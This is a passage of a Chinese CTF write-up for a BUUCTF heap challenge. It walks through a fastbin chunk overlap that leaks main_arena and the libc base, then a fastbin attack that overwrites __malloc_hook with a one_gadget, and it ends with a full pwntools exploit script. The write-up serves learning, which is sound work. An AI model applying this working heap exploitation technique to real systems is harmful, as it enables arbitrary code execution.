32题 BUUCTF-PWN-第一页writep( 五 )


文章插图

32题 BUUCTF-PWN-第一页writep

文章插图
这一步比较关键之前因为我们 free(1) 和 free(2),所以 index1 和 index2 是为空的,fastbin 又是只有堆块2 和堆块4 这两个堆块,那么我们重新 allocate 时,由于 fastbin 采用头插法,所以先进的 chunk 反而后被 allocate ,所以这个时候 index1 -> 堆块2,index2 -> 堆块4 ,值得注意的是 index4 -> 堆块4 ,这样我们才能达到泄露 main_arena 的目的多 allocate 一个 chunk 是防止我们 free(4) 后堆块4 和 top chunk 合并了allocate(0x10)allocate(0x10)payload = p64(0)*3 + p64(0x91)fill(3,payload)allocate(0x80)free(4)调试结果如下
32题 BUUCTF-PWN-第一页writep

文章插图
还有先恢复堆块4 的大?。拍芗尤?unsortedbin由于 dump 函数的代码限制,必须 index != 0,才能输出内容,所以才需要利用 index4 -> 堆块4 去 free , index2 -> 堆块4 去 dump,真的太巧妙了!!调试也可只泄露的 fd 距离 main_arena 的偏移量为 0x58
32题 BUUCTF-PWN-第一页writep

文章插图
wiki 中写道 ,  main_arena -0x10 一般是 malloc_hook 的地址
32题 BUUCTF-PWN-第一页writep

文章插图
同时把 libc 中的 malloc_hook 的地址也泄露出来
32题 BUUCTF-PWN-第一页writep

文章插图
那么我们就得的 libcbase 了 , 偏移应该是 0x3c4b10 - 0x58 -0x10 = 0x3c4b78接下来就是把 malloc_hook 修改为 one_gadget,需要用到 fastbin attack再看此时的堆块的情况
32题 BUUCTF-PWN-第一页writep

文章插图
还有一个问题,要怎么找到合适的堆块呢,毕竟 size 的数据要符合 fastbin 的范围我们知道地址一般都是 0x7f 结尾,并且是小端序,所以我们可以控制 fd 指向的地址为 0x00*7 + 0x7f,如果算上 0x10 的 prve size 和 size,那么我们可以申请 0x60 大小的堆块如图,小端序中 0x7f 的数据很多
32题 BUUCTF-PWN-第一页writep

文章插图
我们是可以找到这样的数据的
32题 BUUCTF-PWN-第一页writep

文章插图
libc中 malloc_hook 的地址为 0x3c4b10 ,在图一中的地址是 0x7f02debd1b10图二中我们可以写入的 fd 为 0x7f02debd1aed  , 相差 0x23  , 所以我们的 fd 应该为 libcbase + 0x3c4b10-0x23 ==> libcbase + 0x3c4aed覆写 malloc_hook 的时候 , 由于不考虑 prve size 和 size 这 0x10 个字节 , 所以我们只需要填充 0x13 的无用字节allocate(0x60)free(4)切割成两个堆块 , 其中一个是 0x60,为 fastbin attack 做铺垫
32题 BUUCTF-PWN-第一页writep

文章插图
payload = p64(libcbase + 0x3c4aed)fill(2,payload)修改堆块4 的fd , 使其指向 malloc_hook 上面的地方
32题 BUUCTF-PWN-第一页writep

文章插图
allocate(0x60)allocate(0x60)再申请两个 0x60 的chunk,这时候我们就可以修改 malloc_hook 了one_gadget = libcbase + 0x4526apayload = b'a'*0x13 + p64(one_gadget)fill(6, payload)allocate(0x10) #跳转到 one_gadget成功攻击?。?expfrom pwn import *from LibcSearcher import *context.log_level='debug'context(os='linux', arch='amd64')p = process('./pwn')#p = remote('node4.buuoj.cn', 28357)elf = ELF('./pwn')libc = ELF('./buu/libc-2.23-x64.so')def allocate(size):p.sendlineafter("Command:", '1')p.sendlineafter("Size:", str(size))def fill(index, content):p.sendlineafter("Command:", '2')p.sendlineafter("Index:", str(index))p.sendlineafter("Size:", str(len(content)))p.sendafter("Content:", content)def free(index):p.sendlineafter("Command:", '3')p.sendlineafter("Index:", str(index))def dump(index):p.sendlineafter("Command:", '4')p.sendlineafter("Index:", str(index))allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x80)free(1)free(2)payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)fill(0,payload)payload = p64(0)*3 + p64(0x21)fill(3,payload)allocate(0x10)allocate(0x10)payload = p64(0)*3 + p64(0x91)fill(3,payload)allocate(0x80)free(4)dump(2)p.recv()main_arena_0x58 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))#libc_malloc_hook = 0x3c4b10libcbase = main_arena_0x58 - 0x3c4b78print('libcbase => ',hex(libcbase))allocate(0x60)free(4)payload = p64(libcbase + 0x3c4aed)fill(2,payload)allocate(0x60)allocate(0x60)one_gadget = libcbase + 0x4526apayload = b'a'*0x13 + p64(one_gadget)fill(6, payload)allocate(0x10)p.interactive()

推荐阅读